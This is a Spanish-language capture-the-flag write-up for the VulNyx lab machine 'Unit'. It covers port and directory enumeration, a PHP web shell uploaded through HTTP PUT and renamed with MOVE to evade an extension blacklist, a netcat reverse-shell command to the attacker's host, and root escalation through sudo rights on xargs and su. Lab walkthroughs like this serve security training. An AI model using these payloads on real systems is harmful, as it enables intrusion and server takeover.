🟢 NYX - Unit
#vulnyx
#nyx
#linux
#http methods
#put
#move
#xargs (sudo)
#su (sudo)
Diciembre, 8, 2023 by Miguel R. (d4t4s3c)
Information
Unit es una máquina Linux de la plataforma VulNyx, tiene un nivel de dificultad fácil y fue creada por el usuario d4t4s3c.
- Acceso inicial: Mediante malas configuraciones en el backend del servidor web, cargo un archivo con código PHP abusando de métodos HTTP (PUT/MOVE) y obtengo una shell.
- Escalada de privilegios: El usuario dispone de permisos sudo sobre un binario que permitirá convertirse en root.
Enumeration
Nmap
TCP
❯ nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.74
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-02 10:39 CET
Nmap scan report for 192.168.1.74
Host is up (0.0015s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
❯ nmap -sVC -p22,80,8080 192.168.1.74
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-02 10:40 CET
Nmap scan report for 192.168.1.74
Host is up (0.00088s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
| ssh-hostkey:
| 256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_ 256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp open http nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: 415 Unsupported Media Type
8080/tcp open http nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: 415 Unsupported Media Type
| http-methods:
|_ Potentially risky methods: PUT MOVE
Shell (www-data)
80/TCP (HTTP)
Directory Brute Force
❯ gobuster dir -w /opt/directory-list-2.3-medium.txt -u http://192.168.1.74/
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.74/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
Progress: 220546 / 220547 (100.00%)
===============================================================
Finished
===============================================================
8080/TCP (HTTP)
Directory Brute Force
❯ gobuster dir -w /opt/directory-list-2.3-medium.txt -u http://192.168.1.74:8080/ -b 415
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.74:8080/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/directory-list-2.3-medium.txt
[+] Negative Status codes: 415
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
Progress: 220546 / 220547 (100.00%)
===============================================================
Finished
===============================================================
En el nmap inicial mediante el script NSE http-methods
, se puede observar que se encuentran habilitados algunos métodos HTTP considerados como críticos, el método PUT
permite subir archivos y el método MOVE
permite renombrar archivos pudiendo derivar en un bypass de extensiones definidas en el backend con una blacklist.
| http-methods:
|_ Potentially risky methods: PUT MOVE
Verifico nuevamente también con cURL
❯ curl -vX OPTIONS "http://192.168.1.74:8080"
* Trying 192.168.1.74:8080...
* Connected to 192.168.1.74 (192.168.1.74) port 8080
* using HTTP/1.x
> OPTIONS / HTTP/1.1
> Host: 192.168.1.74:8080
> User-Agent: curl/8.12.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Server: nginx/1.22.1
< Date: Sun, 02 Mar 2025 10:29:40 GMT
< Content-Type: application/octet-stream
< Content-Length: 0
< Connection: keep-alive
< Allow: OPTIONS, PUT, MOVE
PUT
Intento subir con PUT
un archivo php
sin éxito, devuelve un código de estado 404 Not Found
❯ cat cmd.php ;echo
<?php system($_GET['cmd']); ?>
❯ curl -vX PUT "http://192.168.1.74:8080/cmd.php" -d @cmd.php
* Trying 192.168.1.74:8080...
* Connected to 192.168.1.74 (192.168.1.74) port 8080
* using HTTP/1.x
> PUT /cmd.php HTTP/1.1
> Host: 192.168.1.74:8080
> User-Agent: curl/8.12.1
> Accept: */*
> Content-Length: 30
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 30 bytes
< HTTP/1.1 404 Not Found
< Server: nginx/1.22.1
< Date: Sun, 02 Mar 2025 10:35:50 GMT
< Content-Type: text/html
< Content-Length: 153
< Connection: keep-alive
<
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.22.1</center>
</body>
</html>
Extensions Brute Force
Creo un script en bash y dentro de un array agrego posibles extensiones, luego enviaré la petición con cada una de las extensiones y me quedaré con el código de respuesta para saber que extensiones admite el backend.
#!/bin/bash
array=(".php" ".php5" ".phtml" ".jpg" ".jpeg" ".gif" ".rar" ".zip" ".html" ".txt")
echo
for ext in "${array[@]}"; do
code=$(curl -o /dev/null -w "%{http_code}" -sX PUT "http://192.168.1.74:8080/cmd$ext" -d @cmd.php)
echo "[*] Code: $code Extension: $ext"
done
Consigo subir un archivo con extensión .txt
con contenido PHP
❯ ./extensions_bruteforce.sh
[*] Code: 404 Extension: .php
[*] Code: 415 Extension: .php5
[*] Code: 415 Extension: .phtml
[*] Code: 415 Extension: .jpg
[*] Code: 415 Extension: .jpeg
[*] Code: 415 Extension: .gif
[*] Code: 415 Extension: .rar
[*] Code: 415 Extension: .zip
[*] Code: 415 Extension: .html
[*] Code: 204 Extension: .txt
MOVE
Ahora con el método MOVE
renombró el archivo cambiando la extensión de .txt
a .php
❯ curl -vX MOVE -H "Destination: http://192.168.1.74:8080/cmd.php" "http://192.168.1.74:8080/cmd.txt"
* Trying 192.168.1.74:8080...
* Connected to 192.168.1.74 (192.168.1.74) port 8080
* using HTTP/1.x
> MOVE /cmd.txt HTTP/1.1
> Host: 192.168.1.74:8080
> User-Agent: curl/8.12.1
> Accept: */*
> Destination: http://192.168.1.74:8080/cmd.php
>
* Request completely sent off
< HTTP/1.1 204 No Content
< Server: nginx/1.22.1
< Date: Sun, 02 Mar 2025 10:49:11 GMT
< Connection: keep-alive
Reverse Shell
Consigo ejecutar comandos como usuario www-data
❯ curl -sX GET "http://192.168.1.74:8080/cmd.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Ya ejecutando comandos intento obtener una reverse shell
❯ curl -sX GET "http://192.168.1.74:8080/cmd.php?cmd=busybox+nc+192.168.1.10+443+-e+/bin/sh"
Obtengo la shell como usuario www-data
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.10] from (UNKNOWN) [192.168.1.74] 53734
id ; hostname
uid=33(www-data) gid=33(www-data) groups=33(www-data)
unit
Shell (jones)
El usuario www-data
puede ejecutar como jones
el binario xargs con sudo
www-data@unit:/$ sudo -l
Matching Defaults entries for www-data on unit:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User www-data may run the following commands on unit:
(jones) NOPASSWD: /usr/bin/xargs
En GTFOBins nos dan el one liner con la secuencia de shell escape y me convierto en usuario jones
www-data@unit:/$ sudo -u jones /usr/bin/xargs -a /dev/null sh
$ bash -i
jones@unit:/$ id ; hostname
uid=1000(jones) gid=1000(jones) groups=1000(jones)
unit
Privilege Escalation
El usuario jones
puede ejecutar como root
el binario su con sudo
jones@unit:/$ sudo -l
Matching Defaults entries for jones on unit:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User jones may run the following commands on unit:
(root) NOPASSWD: /usr/bin/su
Me convierto en usuario root
abusando del privilegio
jones@unit:/$ sudo su
root@unit:/# id ; hostname
uid=0(root) gid=0(root) grupos=0(root)
unit
Flags
Ya como usuario root
puedo leer las flags user.txt
y root.txt
root@unit:/# find / -name user.txt -o -name root.txt 2>/dev/null |xargs cat
0d65e8**************************
956f45**************************
Hasta aquí la resolución de la máquina Unit.
Happy Hacking!
